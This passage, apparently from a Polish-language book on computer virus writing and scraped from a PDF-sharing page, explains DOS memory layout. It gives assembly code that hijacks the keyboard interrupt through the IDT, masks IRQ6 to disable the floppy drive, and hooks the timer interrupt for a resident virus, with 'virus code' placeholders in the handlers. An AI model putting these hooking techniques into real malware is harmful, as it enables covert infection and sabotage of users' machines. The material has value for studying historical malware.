RSS


[ Pobierz całość w formacie PDF ]

BeginProc _readidt
assume edi:ptr int_desc
mov ax, [edi].offset_high
xchg ah, al
bswap eax
mov ax, [edi].offset_low
mov bx, [edi].seg_selector
assume edi:ptr nothing
ret
EndProc _readidt
BeginProc _saveidt
assume edi:ptr int_desc
mov [edi].offset_low,ax
65
bswap eax
xchg ah,al
mov [edi].offset_high,ax
assume edi:ptr nothing
ret
EndProc _saveidt
int51offset EQU 51h*8
BeginProc Przejmij_51h
cli
push edi
sidt [esp-2]
pop edi
add edi, int51offset
call _readidt
mov OldInt51Proc, eax
mov eax, offset32 _int51proc
call _saveidt
ret
EndProc Przejmij_51h
BeginProc _int51proc
cli
[...] ;Procedura obsługi klawiatury (kod wirusa)
db 68h
OldInt51Proc dd 0
Ret ;JMP OldInt51Proc
EndProc _int51proc
Układ PIC umożliwia blokadę przerwań sprzętowych. Poniższy kod blokuje IRQ6 w wyniku tego stacja
dyskietek przestaje działać.
mov dx,21h ;(port głownego układu 8259)
in al, dx
or al,01000000b
out dx,al
6. Metody instalacji w pamięci operacyjnej
tryb rzeczywisty
W punkcie tym zajmiemy się systemem operacyjnym DOS (w wersjach 5.x i 6.x), z tego też względu iż jest
to przykład systemu operacyjnego działającego właśnie w trybie rzeczywistym.
Pamięć operacyjna systemu DOS dzieli się na następujące obszary pamięci
" Pamięć konwencjonalna (ang. conventional memory)  obszar o adresach od 0 do 640KB;
może być obsługiwana przez wszystkie stosowane typy procesorów. Ograniczenie 640KB w
żaden sposób nie jest uwarunkowane właściwościami procesorów, a wynika jedynie z
przyjętych rozwiązań konstrukcji komputerów typu IBM PC i wynikających z nich rozwiązań
systemu operacyjnego DOS.
66
" Pamięć górna (ang. Upper Memory Area, UMA)  jest zorganizowana za pomocą bloków w
obszarze adresowania 640KB  1MB; może być częściowo wykorzystywana do celów
systemowych. Realizacja tej pamięci polega na odwzorowaniu bloków z obszaru pamięci
rozszerzonej przy wykorzystaniu możliwości procesora 386 i wyższych (stronicowanie i tryb
wirtualny 8086)
" Pamięć wysoka (ang. High Memory Area, HMA)  są to pierwsze 64KB poczynając od
adresu 1MB, pamięć ta wyróżniona jest ze względu na specjalny sposób adresowania tego
obszaru pamięci przez procesory 286 i wyższe. Może być wykorzystywana do celów
systemowych
" Pamięć rozszerzona (ang. extended memory area)  instalowana w obszarze adresowania od
1MB
W poniższej tabeli przedstawiamy mapę pamięci systemu DOS
Adres obszaru Długość obszaru Opis
00000  9FFFF 640KB Pamięć konwencjonalna
A0000  FFFFF 384KB Pamięć górna
A0000  BFFFF 128KB Pamięć ekranu karty EGA lub
VGA
C0000  C7FFF 32KB BIOS karty EGA lub VGA
E0000 - FFFFF 128KB Zarezerwowane dla BIOS-u
100000  XXXXX Pamięć rozszerzona
100000  10FFEF 64KB Pamięć wysoka
Pamięć konwencjonalna jest wykorzystywana do celów systemowych w trybie rzeczywistym, dlatego niej się
bliżej przyjrzymy i opiszemy na jej przykładzie metody instalacji w pamięci operacyjnej. W tabeli poniżej
wyszczególnione zostały dokładniej obszary tejże pamięci.
Adres Opis
0000:0000 Tablica wektorów przerwań
0040:0000 Zmienne systemowe
xxxx:0000 Część BIOS-u dostarczana ze zbioru IO.SYS
xxxx:0000 Procedury obsługi przerwań
xxxx:0000 Zarezerwowany obszar na bufory
xxxx:0000 Rezydentna część COMMAND.COM. Zawiera
procedury obsługi przerwań 22h, 23h, 24h
xxxx:0000 Programy typu TSR
xxxx:0000 Aktualnie wykonujący się program
xxxx:0000 Powłoka systemu  część COMMAND.COM
A000:0000 Pamięć karty EGA/VGA
C800:0000 Rozszerzenia BIOS
F600:0000 Interpreter BASIC-a
FE00:0000 do FFFF:FFFF ROM-BIOS
Z tabeli tej wynika iż obszar, w który możemy ingerować zawiera się od adresu 0000:0000 do A000:0000.
W systemie operacyjnym DOS kluczową rolę odgrywa system przerwań, bowiem dostęp do funkcji
systemowej uzyskujemy przez wywołanie odpowiedniego przerwania, dlatego też głównym punktem
67
instalacji wirusa w systemie jest właśnie przejęcie przerwania. Poniżej zamieszczam sposób przejęcia
przerwania 08h.
Instalacja_w_systemie PROC
mov ax,3508h
int 21h ;odczytaj adres procedury obsługi przerwania 8h (zegarowe)
mov int08o,bx
mov int08s,es
push cs
pop ds
mov dx,offset obsluga_przerwania8h
mov ax,2508h ;ustaw nowy adres procedury obsługi przerwania 8h
int 21h
ret
Instalacja_w_systemie ENDP
int08o dw 0
int08s dw 0
obsluga_przerwania8h PROC
pushf
call dword ptr cs:[int08o] ;Wykonaj starą obsługe przerwania 8h
[& ] ;Kod wirusa
iret
obsluga_przerwania8h ENDP
W powyższym przykładzie korzystaliśmy z dwóch funkcji systemowych 35h oraz 25h pobierających i
zmieniających adres obsługi przerwania 8h. Istnieje również drugi sposób przejęcia przerwania  poprzez
ingerencje bezpośrednio w tablicę wektorów przerwań. Tablica ta składa się z 256-ciu 4-bajtowych adresów.
Adresy te pamiętane są w kolejności offset, segment. Poprzez zmianę tych wektorów mamy możliwość
instalowania w systemie własnych procedur obsługi przerwań. Poniższy przykład zobrazuje ten sposób
przejmowania :
Instalacja_w_systemie PROC
mov ax,0
mov es,ax
cli
mov di,4*8h
mov ax,es:[di] ;ES:DI  adres miejsca w tablicy wektorow przerwań z adresem
;procedury obsługi przerwania 8h.
mov int08o,ax
mov ax,es:[di+2]
mov int08s,ax ;Odczytaj stary adres obsługi przerwania
mov ax,offset obsluga_przerwania8h
stosw
mov ax,seg obsluga_przerwania8h
stosw ;Zmień adres obsługi przerwania 8h
sti
ret [ Pobierz całość w formacie PDF ]
  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • cherish1.keep.pl